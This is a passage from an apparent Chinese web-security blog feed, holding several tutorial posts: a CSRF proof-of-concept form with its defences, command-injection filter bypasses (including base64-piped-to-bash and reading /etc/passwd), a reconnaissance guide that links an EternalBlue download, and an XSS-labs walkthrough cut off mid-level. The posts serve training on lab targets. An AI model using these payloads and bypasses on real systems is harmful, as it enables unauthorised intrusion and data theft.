        <![CDATA[<blockquote><p>攻击者通过某些技术手段欺骗用户的浏览器访问曾经认证过的网站并执行一些操作，挟持用户在当前已经登录的web应用程序上执行非本意的操作</p></blockquote><h1 id="攻击流程"><a href="#攻击流程" class="headerlink" title="攻击流程"></a>攻击流程</h1><ul><li>用户登录站点a，并通过站点a的身份验证</li><li>用户未退出站点a，在同一个浏览器中访问危险站点b</li><li>站点b收到用户请求后，返回恶意代码并且发出访问站点a的请求</li><li>浏览器收到这些恶意代码后，在用户不知情的情况下，利用cookie的信息，向网站a发出恶意请求（修改密码，转账等操作）</li><li>站点a接收到请求后，会根据用户的权限，处理请求，导致站点b的恶意代码被执行</li></ul><h1 id="漏洞poc"><a href="#漏洞poc" class="headerlink" title="漏洞poc"></a>漏洞poc</h1><div class="code-wrapper"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>  <span class="hljs-comment">&lt;!-- CSRF PoC - generated by Burp Suite Professional --&gt;</span>  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>    <span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">&quot;http://localhost:2233/vul/csrf/csrfget/csrf_get_edit.php&quot;</span>&gt;</span>      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;hidden&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;sex&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;asd&quot;</span> /&gt;</span>      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;hidden&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;phonenum&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;asd&quot;</span> /&gt;</span>      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;hidden&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;add&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;asd&quot;</span> /&gt;</span>      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;hidden&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;email&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;asd&quot;</span> /&gt;</span>      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;hidden&quot;</span> <span class="hljs-attr">name</span>=<span class="hljs-string">&quot;submit&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;submit&quot;</span> /&gt;</span>      <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;submit&quot;</span> <span class="hljs-attr">value</span>=<span class="hljs-string">&quot;Submit request&quot;</span> /&gt;</span>    <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript"></span><span class="language-javascript">      history.<span class="hljs-title function_">pushState</span>(<span class="hljs-string">&#x27;&#x27;</span>, <span class="hljs-string">&#x27;&#x27;</span>, <span class="hljs-string">&#x27;/&#x27;</span>);</span><span class="language-javascript">      <span class="hljs-variable language_">document</span>.<span class="hljs-property">forms</span>[<span class="hljs-number">0</span>].<span class="hljs-title function_">submit</span>();</span><span class="language-javascript">    </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>  <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></code></pre></div><h1 id="防御方法"><a href="#防御方法" class="headerlink" title="防御方法"></a>防御方法</h1><ul><li>增加 token 验证<ul><li>对关键操作增加token参数，token必须随机，每次都不一样</li></ul></li><li>增加验证码</li><li>身份二次认证</li><li>通过http头部中的referer来限制原页面</li></ul><p>注意：</p><blockquote><p>敏感信息使用post传参而不是get</p></blockquote>]]>
      </content:encoded>
    </item>
    <item>
      <title>命令执行WAF绕过</title>
      <link>https://blog.lixey.top/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8CWAF%E7%BB%95%E8%BF%87/</link>
      <description>
        <![CDATA[<blockquote>
<p>命令执行漏洞是指服务器没有对执行的命令进行过滤，用户可以随意执行系统命令</p>
</blockquote>
<h1 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/web%E5%AE%89%E5%85%A8/">web安全</category>
      <category domain="https://blog.lixey.top/tags/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/">命令执行</category>
      <pubDate>Mon, 18 Aug 2025 13:44:19 GMT</pubDate>
      <content:encoded>
        <![CDATA[<blockquote><p>命令执行漏洞是指服务器没有对执行的命令进行过滤，用户可以随意执行系统命令</p></blockquote><h1 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h1><blockquote><p>应用程序有的时候需要调用一些系统命令，在php中，可以执行命令的函数有 system() exec() shell_exec() passthru() popen() proc_open() pcntl_execl() 等，当黑客能够控制这些函数中的参数时，就可以将恶意的系统命令拼接到正常的命令中，从而造成RCE攻击</p></blockquote><h1 id="漏洞危害"><a href="#漏洞危害" class="headerlink" title="漏洞危害"></a>漏洞危害</h1><ul><li>控制服务器，执行系统命令或者读写文件</li><li>反弹shell</li></ul><h1 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h1><h2 id="操作系统连接符"><a href="#操作系统连接符" class="headerlink" title="操作系统连接符"></a>操作系统连接符</h2><ul><li>分号 ’；‘ ： 多条命令无论对错顺序执行</li><li>&amp; ： 多条命令无论对错顺序执行</li><li>&amp;&amp; ：前面命令执行不成功后面的命令不执行</li><li>| ： 前面命令执行得到结果作为后面命令的输入</li><li>|| ：前面命令执行成功后面的命令不执行；前面的命令执行失败则后面的命令执行</li></ul><h1 id="WAF绕过"><a href="#WAF绕过" class="headerlink" title="WAF绕过"></a>WAF绕过</h1><h2 id="空格过滤绕过"><a href="#空格过滤绕过" class="headerlink" title="空格过滤绕过"></a>空格过滤绕过</h2><h3 id="大括号"><a href="#大括号" class="headerlink" title="大括号 {}"></a>大括号 {}</h3><div class="code-wrapper"><pre><code class="hljs bash">&#123;<span class="hljs-built_in">ls</span>,../&#125;</code></pre></div><h3 id="IFS-代替空格"><a href="#IFS-代替空格" class="headerlink" title="IFS 代替空格"></a>IFS 代替空格</h3><blockquote><p>linux环境中有一个特殊的变量 IFS，叫做内部字段分隔符</p></blockquote><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span><span class="hljs-variable">$IFS</span>/flag</code></pre></div><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span><span class="hljs-variable">$&#123;IFS&#125;</span>/flag</code></pre></div><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span>$IFS<span class="hljs-variable">$1</span>/flag</code></pre></div><h3 id="重定向字符"><a href="#重定向字符" class="headerlink" title="重定向字符"></a>重定向字符</h3><blockquote><p>&lt; ,&lt;&gt;</p></blockquote><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span>&lt;&gt;flag</code></pre></div><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span>&lt;flag</code></pre></div><h3 id="09绕过-Tab-键"><a href="#09绕过-Tab-键" class="headerlink" title="%09绕过 - Tab 键"></a>%09绕过 - Tab 键</h3><blockquote><p>url编码，get方式使用</p></blockquote><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span>%09flag</code></pre></div><h2 id="黑名单绕过"><a href="#黑名单绕过" class="headerlink" title="黑名单绕过"></a>黑名单绕过</h2><h3 id="绕过"><a href="#绕过" class="headerlink" title="?? , * 绕过"></a>?? , * 绕过</h3><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span> fl??</code></pre></div><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span> fl* 如果有多个匹配结果则同时输出</code></pre></div><h3 id="单双引号，反引号绕过"><a href="#单双引号，反引号绕过" class="headerlink" title="单双引号，反引号绕过"></a>单双引号，反引号绕过</h3><div class="code-wrapper"><pre><code class="hljs bash">c<span class="hljs-string">&quot;&quot;</span>at /e<span class="hljs-string">&#x27;t&#x27;</span>c/pas``s``wd</code></pre></div><h3 id="反斜杠绕过"><a href="#反斜杠绕过" class="headerlink" title="反斜杠绕过"></a>反斜杠绕过</h3><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span> fl\ag</code></pre></div><h3 id="特殊变量-1-9"><a href="#特殊变量-1-9" class="headerlink" title="特殊变量 $1-$9 $@ $*"></a>特殊变量 $1-$9 $@ $*</h3><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span> fa<span class="hljs-variable">$1ag</span></code></pre></div><h3 id="内联执行绕过"><a href="#内联执行绕过" class="headerlink" title="内联执行绕过"></a>内联执行绕过</h3><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-variable">$a</span>=fl;<span class="hljs-variable">$b</span>=ag;<span class="hljs-built_in">cat</span> $a<span class="hljs-variable">$b</span></code></pre></div><h3 id="利用linux中的环境变量"><a href="#利用linux中的环境变量" class="headerlink" title="利用linux中的环境变量"></a>利用linux中的环境变量</h3><ul><li>先查看环境变量</li></ul><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">echo</span> <span class="hljs-variable">$PATH</span></code></pre></div><ul><li>系统输出一堆</li></ul><div class="code-wrapper"><pre><code class="hljs ruby">/usr/local/<span class="hljs-symbol">sbin:</span>/usr/local/<span class="hljs-symbol">bin:</span>/usr/<span class="hljs-symbol">sbin:</span>/usr/<span class="hljs-symbol">bin:</span>/<span class="hljs-symbol">sbin:</span>/<span class="hljs-symbol">bin:</span>/usr/<span class="hljs-symbol">games:</span>/usr/local/<span class="hljs-symbol">games:</span>/usr/lib/wsl/<span class="hljs-symbol">lib:</span>/mnt/c/<span class="hljs-title class_">Program</span> <span class="hljs-title class_">Files</span>/<span class="hljs-title class_">Common</span> <span class="hljs-title class_">Files</span>/<span class="hljs-title class_">Oracle</span>/<span class="hljs-title class_">Java</span>/<span class="hljs-symbol">javapath:</span>/mnt/c/<span class="hljs-title class_">Windows</span>/<span class="hljs-symbol">system32:</span>/mnt/c/<span class="hljs-title class_">Windows</span><span class="hljs-symbol">:/mnt/c/Windows/System32/Wbem</span><span class="hljs-symbol">:/mnt/c/Windows/System32/WindowsPowerShell/v1</span>.<span class="hljs-number">0</span>/<span class="hljs-symbol">:/mnt/c/Windows/System32/OpenSSH/</span><span class="hljs-symbol">:/mnt/c/Program</span> <span class="hljs-title class_">Files</span>/<span class="hljs-variable constant_">NVIDIA</span> <span class="hljs-title class_">Corporation</span>/<span class="hljs-variable constant_">NVIDIA</span> <span class="hljs-title class_">Nv</span><span class="hljs-symbol">DLISR:</span>/mnt/c/<span class="hljs-title class_">Program</span> <span class="hljs-title class_">Files</span> (x86)/<span class="hljs-variable constant_">NVIDIA</span> <span class="hljs-title class_">Corporation</span>/<span class="hljs-title class_">Phys</span>X/<span class="hljs-title class_">Common</span><span class="hljs-symbol">:/mnt/c/Program</span> <span class="hljs-title class_">Files</span>/<span class="hljs-title class_">Bandizip</span>/<span class="hljs-symbol">:/mnt/c/Tools/MISC/steghide</span><span class="hljs-symbol">:/mnt/c/Program</span> <span class="hljs-title class_">Files</span>/<span class="hljs-title class_">Git</span>/<span class="hljs-symbol">cmd:</span>/mnt/c/phpstudy_pro/<span class="hljs-title class_">Extensions</span>/<span class="hljs-title class_">MySQL5</span>.<span class="hljs-number">7.26</span>/bin/<span class="hljs-symbol">:/mnt/c/Tools/MISC/Stegdetect</span><span class="hljs-symbol">:/mnt/c/Tools/PWN/checksec</span><span class="hljs-symbol">:/mnt/c/Program</span> <span class="hljs-title class_">Files</span>/<span class="hljs-title class_">Wireshark</span><span class="hljs-symbol">:/mnt/c/Program</span> <span class="hljs-title class_">Files</span>/nodejs/<span class="hljs-symbol">:/mnt/c/Users/Lixiney/scoop/shims</span><span class="hljs-symbol">:/mnt/c/Users/Lixiney/AppData/Local/Microsoft/WindowsApps</span><span class="hljs-symbol">:/mnt/c/Tools/Ciphey-</span><span class="hljs-number">5.14</span>.<span class="hljs-number">0</span><span class="hljs-symbol">:/mnt/c/Users/Lixiney/AppData/Local/Programs/Microsoft</span> <span class="hljs-variable constant_">VS</span> <span class="hljs-title class_">Code</span>/<span class="hljs-symbol">bin:</span>/mnt/c/<span class="hljs-title class_">Program</span> <span class="hljs-title class_">Files</span>/<span class="hljs-title class_">JetBrains</span>/<span class="hljs-title class_">PyCharm</span> <span class="hljs-number">2024.1</span>/<span class="hljs-symbol">bin:</span>/mnt/c/<span class="hljs-title class_">Program</span> <span class="hljs-title class_">Files</span>/<span class="hljs-title class_">JetBrains</span>/<span class="hljs-title class_">CLion</span> <span class="hljs-number">2023.3</span>.<span class="hljs-number">4</span>/<span class="hljs-symbol">bin:</span>/mnt/c/<span class="hljs-title class_">Users</span>/<span class="hljs-title class_">Lixiney</span>/<span class="hljs-title class_">AppData</span>/<span class="hljs-title class_">Roaming</span>/npm</code></pre></div><ul><li>再执行</li></ul><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span> f<span class="hljs-variable">$&#123;PATH:5:1&#125;</span><span class="hljs-variable">$&#123;PATH:8:1&#125;</span><span class="hljs-variable">$&#123;PATH:66:1&#125;</span></code></pre></div><blockquote><p>${PATH:5:1} 表示取路径的第五位，从0开始，步长为1</p></blockquote><h2 id="其他常见绕过方式"><a href="#其他常见绕过方式" class="headerlink" title="其他常见绕过方式"></a>其他常见绕过方式</h2><h3 id="base64-编码"><a href="#base64-编码" class="headerlink" title="base64 编码"></a>base64 编码</h3><ul><li>先将要执行的命令通过base64编码</li></ul><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">cat</span> flag --&gt; Y2F0IGZsYWc=</code></pre></div><ul><li>将base64编码输出出来 通过管道符解密执行，有几种方式</li></ul> <div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;Y2F0IGZsYWc=&quot;</span> | <span class="hljs-built_in">base64</span> -d | bash</code></pre></div><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;Y2F0IGZsYWc=&quot;</span> | <span class="hljs-built_in">base64</span> -d`</code></pre></div><div class="code-wrapper"><pre><code class="hljs bash">$(<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;Y2F0IGZsYWc=&quot;</span>|<span class="hljs-built_in">base64</span> -d)</code></pre></div><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">echo</span> Y2F0IGZsYWc= | <span class="hljs-built_in">base64</span> -d | sh</code></pre></div><h3 id="base32-编码"><a href="#base32-编码" class="headerlink" title="base32 编码"></a>base32 编码</h3><p>同base64编码</p><h3 id="其他编码"><a href="#其他编码" class="headerlink" title="其他编码"></a>其他编码</h3><p>同上</p><h2 id="读取命令绕过-cat"><a href="#读取命令绕过-cat" class="headerlink" title="读取命令绕过 cat"></a>读取命令绕过 cat</h2><p>可以使用下面的命令替换</p><ul><li>tac 反向显示，从最后一行开始读取</li><li>more </li><li>less</li><li>tail  查看末尾几行</li><li>nl  显示行号</li><li>od 以二进制形式读取文件</li><li>sort</li><li>uniq</li><li>strings</li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>Web安全-信息收集</title>
      <link>https://blog.lixey.top/Web%E5%AE%89%E5%85%A8-%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/</link>
      <description>
        <![CDATA[<p><em>知己知彼，百战不殆</em></p>
<h2 id="whois信息"><a href="#whois信息" class="headerlink" title="whois信息"></a>whois信息</h2><ul>
<li><p>得到注册人的信息</p>
<p]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/tags/Web%E5%AE%89%E5%85%A8/">Web安全</category>
      <pubDate>Sun, 17 Aug 2025 13:25:28 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p><em>知己知彼，百战不殆</em></p><h2 id="whois信息"><a href="#whois信息" class="headerlink" title="whois信息"></a>whois信息</h2><ul><li><p>得到注册人的信息</p><p>​    邮箱</p><p>​    电话号码</p><p>​    姓名</p></li></ul><p><em>有的站长喜欢拿自己的姓名的拼音设置为密码，这样我们收集到信息之后可以生成一本字典，对网站的后台进行爆破</em></p><table><thead><tr><th>whois网站</th><th>whois.com</th></tr></thead><tbody><tr><td>站长之家</td><td><a href="http://whois.chinaz.com/">http://whois.chinaz.com/</a></td></tr></tbody></table><h3 id="子域名"><a href="#子域名" class="headerlink" title="子域名"></a>子域名</h3><ul><li>谷歌语法<ul><li>site: 指定域名</li></ul></li><li>在线平台<ul><li>ip反查域名<ul><li><a href="https://dns.aizhan.com/">https://dns.aizhan.com/</a></li><li><a href="https://reverseip.domaintools.com/">https://reverseip.domaintools.com/</a></li></ul></li><li>微步社区<ul><li><a href="https://x.threatbook.cn/">https://x.threatbook.cn/</a></li></ul></li><li>站长工具<ul><li><a href="http://tool.chinaz.com/subdomain/">http://tool.chinaz.com/subdomain/</a></li></ul></li><li>潮汐指纹<ul><li><a href="http://finger.tidesec.com/">http://finger.tidesec.com/</a></li></ul></li></ul></li><li>使用工具爆破DNS服务器<ul><li>Python<ul><li>subDomainsBrute<ul><li><a href="https://github.com/lijiejie/subDomainsBrute">https://github.com/lijiejie/subDomainsBrute</a></li></ul></li></ul></li><li>exe工具<ul><li>Layer.exe</li></ul></li></ul></li><li>网页内蜘蛛爬虫<ul><li>等待后续…..</li></ul></li></ul><h4 id="google-hacking"><a href="#google-hacking" class="headerlink" title="google hacking"></a>google hacking</h4><table><thead><tr><th>语法</th><th>含义</th></tr></thead><tbody><tr><td>site:</td><td>指定站点，查找子域名</td></tr><tr><td>filetype：</td><td>指定文件的格式</td></tr><tr><td>inurl:</td><td>指定存在于url链接里面的字符串</td></tr><tr><td>intext:</td><td>指定存在于网页之中的内容</td></tr><tr><td>intitle:</td><td>指定存在于网页<title></title>标签之中的内容</td></tr><tr><td>allintitle:</td><td>用法和intitle相似可以指定多个词</td></tr><tr><td>allinurl:</td><td>和inurl相似 可以指定多个词</td></tr><tr><td>link:</td><td>将返回所有包含指向 指定链接 的网页</td></tr><tr><td>related:</td><td>返回和指定网页布局相似的网页</td></tr><tr><td>cache:</td><td>网页快照</td></tr><tr><td>info:</td><td>返回站点的指定信息</td></tr><tr><td>define:</td><td>返回某个词语的定义</td></tr></tbody></table><p>举个栗子</p><h3 id="端口探测"><a href="#端口探测" class="headerlink" title="端口探测"></a>端口探测</h3><p><em>危险端口可以直接爆破入侵，一个ip可能搭建了多个网站，分布在不同的端口</em></p><p>常用的端口探测方法:</p><ul><li>nmap工具<a href="https://nmap.org/">https://nmap.org/</a>  </li><li>在线工具               <a href="https://tool.chinaz.com/port/">https://tool.chinaz.com/port/</a>   &#x2F;&#x2F;站长之家</li></ul><h4 id="Nmap使用方法"><a href="#Nmap使用方法" class="headerlink" title="Nmap使用方法"></a>Nmap使用方法</h4><table><thead><tr><th>基础命令</th><th>功能</th></tr></thead><tbody><tr><td>-p</td><td>指定端口扫描</td></tr><tr><td>-v</td><td>显示扫描过程</td></tr><tr><td>-Pn</td><td>跳过主机发现过程直接端口扫描 [目标禁Ping时]</td></tr><tr><td>-O</td><td>探测主机操作系统</td></tr><tr><td>-A</td><td>全面扫描包括一切探测</td></tr></tbody></table><ul><li>端口扫描状态<ul><li>Opend    端口开放</li><li>Closed    端口关闭</li><li>Filtered   端口被过滤</li></ul></li><li>利用永恒之蓝直接拿下服务器<ul><li>链接： <a href="https://pan.baidu.com/s/1m5F-7vLC3lpVYOcNcIpLwA">https://pan.baidu.com/s/1m5F-7vLC3lpVYOcNcIpLwA</a> </li><li>提取码：zkaq</li></ul></li></ul><h3 id="旁站"><a href="#旁站" class="headerlink" title="旁站"></a>旁站</h3><p>旁站指的是同一台服务器上还有其他网站，很多时候，有些网站可能不是那么容易入侵。那么，可以查看该网站所在服务器上是否还有其他网站。如果有其他网站，可以先拿下其他网站的webshell，然后再提权拿到服务器的权限，最后自然就可以拿下网站了</p><ul><li>在线工具<ul><li><a href="http://stool.chinaz.com/same">http://stool.chinaz.com/same</a></li><li><a href="https://www.webscan.cc/">https://www.webscan.cc/</a></li></ul></li></ul><h3 id="C段"><a href="#C段" class="headerlink" title="C段"></a>C段</h3><p>C段指的是同一内网段内的其他服务器，每个IP有ABCD四个段，举个例子，192.168.0.1，A段就是192，B段是168，C段是0，D段是1，而C段嗅探的意思就是拿下它同一C段中的其中一台服务器，也就是说是D段1-255中的一台服务器，然后利用工具嗅探拿下该服务器</p><ul><li>可以使用在线工具，如fofa<ul><li><a href="https://fofa.info/">https://fofa.info</a></li></ul></li></ul><h4 id="FoFa使用查C段"><a href="#FoFa使用查C段" class="headerlink" title="FoFa使用查C段"></a>FoFa使用查C段</h4><div class="code-wrapper"><pre><code class="hljs abnf"><span class="hljs-attribute">ip</span><span class="hljs-operator">=</span><span class="hljs-string">&quot;[ip地址]/24&quot;</span></code></pre></div><p>注：如果单纯的输入 ip&#x3D;”[ip地址]”  则会搜索该ip开放的端口</p><h3 id="目录扫描"><a href="#目录扫描" class="headerlink" title="目录扫描"></a>目录扫描</h3><ul><li>御剑扫描</li><li>君子协议robots.txt  </li><li>大部分网站都会有，防止网络爬虫乱爬用的 *</li></ul><h3 id="指纹识别"><a href="#指纹识别" class="headerlink" title="指纹识别"></a>指纹识别</h3><p><em>再此引入一种概念，有些网站为了节省开发的时间，他们会套用一种模板（CMS），将安装程序放到服务器上直接运行，安装程序会自动将网站搭建好，但是CMS并非绝对安全，相反，一旦模板爆出漏洞，那么使用这种模板搭建的网站都会存在这种漏洞，即所谓的 ”通杀漏洞“</em></p><p>CMS的种类数不胜数，所以指纹识别可以快速分析出该网站是那种CMS</p><ul><li><p>网站源码</p></li><li><p>有些CMS会写在源码里面或者可以从一些标志中判断</p></li><li><p>在线工具</p><ul><li>whatweb <a href="http://whatweb.bugscaner.com/">http://whatweb.bugscaner.com/</a></li><li>微步社区 <a href="https://x.threatbook.cn/">https://x.threatbook.cn/</a></li><li>潮汐指纹 <a href="http://finger.tidesec.com/">http://finger.tidesec.com/</a></li></ul></li><li><p>浏览器插件</p><ul><li>wappalyzer</li></ul></li></ul><h3 id="伪静态"><a href="#伪静态" class="headerlink" title="伪静态"></a>伪静态</h3><p><code>伪静态是相对真实静态来讲的，真实静态会生成一个html或htm后缀的文件，访客能够访问到真实存在的静态页面，而伪静态则没有生成实体静态页面文件，而仅仅是以.html一类的静态页面形式，但其实是用PHP程序动态脚本来处理的，这就是伪静态。</code></p><p>判断是否是伪静态：</p><ul><li><p>在控制台窗口中输入</p><ul><li><div class="code-wrapper"><pre><code class="language-javascript">javascript:alert(document.lastModified)</code></pre></div><p>如果网站是个html,但是显示的却是现在的时间，就是伪静态页面</p><p><img src="/Web%E5%AE%89%E5%85%A8-%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/image-20240903184446288.png" alt="image-20240903184446288"></p></li></ul></li></ul><h3 id="CDN"><a href="#CDN" class="headerlink" title="CDN"></a>CDN</h3><p>内容分发网络（CDN）是指一组分布在不同地理位置的服务器，协同工作以提供互联网内容的快速交付。</p><p>也就是说 CDN 不负责承载任何内容</p><p>比如说百度，只有一个，但是从全国各地来访问，他的ip是不一样的。</p><p>使用多地 ping 或者 国外 ping</p><h4 id="CDN绕过"><a href="#CDN绕过" class="headerlink" title="CDN绕过"></a>CDN绕过</h4><p><a href="https://www.cnblogs.com/0x7e/p/13710650.html">绕过CDN查找真实IP的方法 - 0X7e - 博客园 (cnblogs.com)</a></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>XSS-labs通关文档</title>
      <link>https://blog.lixey.top/XSS-labs%E9%80%9A%E5%85%B3%E6%96%87%E6%A1%A3/</link>
      <description>
        <![CDATA[<blockquote>
<p>本文档仅用于信息防御技术研究探讨，请勿用于其他用如图，渗透测试务必在已授权的情况下进行</p>
</blockquote>
<h1 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装]]>
      </description>
      <author>Lixiney</author>
      <category domain="https://blog.lixey.top/categories/WriteUp/">WriteUp</category>
      <category domain="https://blog.lixey.top/tags/web%E5%AE%89%E5%85%A8/">web安全</category>
      <category domain="https://blog.lixey.top/tags/xss/">xss</category>
      <pubDate>Thu, 14 Aug 2025 02:46:29 GMT</pubDate>
      <content:encoded>
        <![CDATA[<blockquote><p>本文档仅用于信息防御技术研究探讨，请勿用于其他用如图，渗透测试务必在已授权的情况下进行</p></blockquote><h1 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h1><blockquote><p>使用docker安装</p></blockquote><h2 id="拉取镜像"><a href="#拉取镜像" class="headerlink" title="拉取镜像"></a>拉取镜像</h2><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> docker pull vulfocus/xss-labs</code></pre></div><h2 id="启动"><a href="#启动" class="headerlink" title="启动"></a>启动</h2><div class="code-wrapper"><pre><code class="hljs bash"><span class="hljs-built_in">sudo</span> docker run -dt --name xss -p 7777:80 vulfocus/xss-labs</code></pre></div><h1 id="题解"><a href="#题解" class="headerlink" title="题解"></a>题解</h1><h2 id="level-1"><a href="#level-1" class="headerlink" title="level-1"></a>level-1</h2><blockquote><p>get方式提交数据，在url栏</p></blockquote><p>payload:</p><div class="code-wrapper"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span>alert(1)<span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></code></pre></div><h2 id="level-2"><a href="#level-2" class="headerlink" title="level-2"></a>level-2</h2><blockquote><p>输入的数据在提交之后保留在 imput 框中，可以用事件触发</p></blockquote><div class="code-wrapper"><pre><code class="hljs html">&quot; onclick=&quot;alert(1)&quot; /</code></pre></div><h2 id="level-3"><a href="#level-3" class="headerlink" title="level-3"></a>level-3</h2><blockquote><p>查看页面源代码发现 value 的值用单引号，所以使用单引号闭合</p></blockquote><div class="code-wrapper"><pre><code class="hljs isbl"><span class="hljs-string">&#x27; onclick=&#x27;</span><span class="hljs-function"><span class="hljs-title">alert</span>(<span class="hljs-number">1</span>)<span class="hljs-string">&#x27; /</span></span></code></pre></div><h2 id="level-4"><a href="#level-4" class="headerlink" title="level-4"></a>level-4</h2><blockquote><p>查看页面源代码发现 value 使用双引号，用双引号闭合</p></blockquote><div class="code-wrapper"><pre><code class="hljs 1c"><span class="hljs-string">&quot; onclick=&quot;</span>alert<span class="hljs-punctuation">(</span><span class="hljs-number">1</span><span class="hljs-punctuation">)</span><span class="hljs-string">&quot; /</span></code></pre></div><h2 id="level-5"><a href="#level-5" class="headerlink" title="level-5"></a>level-5</h2><blockquote><p>敏感字符串过滤，比如on 改为 o_n，使用a标签+伪协议触发</p></blockquote><div class="code-wrapper"><pre><code class="hljs html">&quot;&gt; <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">javascript:alert(1)</span>&gt;</span>asd<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span></code></pre></div><h2 id="level-6"><a href="#level-6" class="headerlink" title="level-6"></a>level-6</h2><blockquote><p>在文本框输入 onclick 发现on被改为o_n ，从大小写方向入手，使用 OnCliCk 发现没有被过滤</p></blockquote><div class="code-wrapper"><pre><code class="hljs html">&quot; OnCLiCk=&quot;alert(1)&quot; /</code></pre></div><h2 id="level-7"><a href="#level-7" class="headerlink" title="level-7"></a>level-7</h2><blockquote><p>使用上一个关卡的 payload ，发现on被过滤掉，尝试双写绕过 oonn</p></blockquote><div class="code-wrapper"><pre><code class="hljs html">&quot; oonnclick=&quot;alert(1)&quot; /</code></pre></div><h2 id="level-8"><a href="#level-8" class="headerlink" title="level-8"></a>level-8</h2><blockquote><p>dom 型xss注入</p><p>尝试添加友情链接 <a href="https://www.baidu.com/">https://www.baidu.com</a> 发现，被添加到了下面的a标签中</p><p>尝试插入一段伪协议，但是直接使用会被过滤，需要转换一下编码格式，使用unicode编码</p></blockquote><div class="code-wrapper"><pre><code class="hljs html"><span class="hljs-symbol">&amp;#106;</span><span class="hljs-symbol">&amp;#97;</span><span class="hljs-symbol">&amp;#118;</span><span class="hljs-symbol">&amp;#97;</span><span class="hljs-symbol">&amp;#115;</span><span class="hljs-symbol">&amp;#99;</span><span class="hljs-symbol">&amp;#114;</span><span class="hljs-symbol">&amp;#105;</span><span class="hljs-symbol">&amp;#112;</span><span class="hljs-symbol">&amp;#116;</span><span class="hljs-symbol">&amp;#58;</span><span class="hljs-symbol">&amp;#97;</span><span class="hljs-symbol">&amp;#108;</span><span class="hljs-symbol">&amp;#101;</span><span class="hljs-symbol">&amp;#114;</span><span class="hljs-symbol">&amp;#116;</span><span class="hljs-symbol">&amp;#40;</span><span class="hljs-symbol">&amp;#49;</span><span class="hljs-symbol">&amp;#41;</span></code></pre></div><h2 id="level-9"><a href="#level-9" class="headerlink" title="level-9"></a>level-9</h2><blockquote><p>会判断输入的数据中有没有 http:&#x2F;&#x2F; 这个字符串，所以在上一步的基础上后面加上注释即可</p></blockquote><div class="code-wrapper"><pre><code 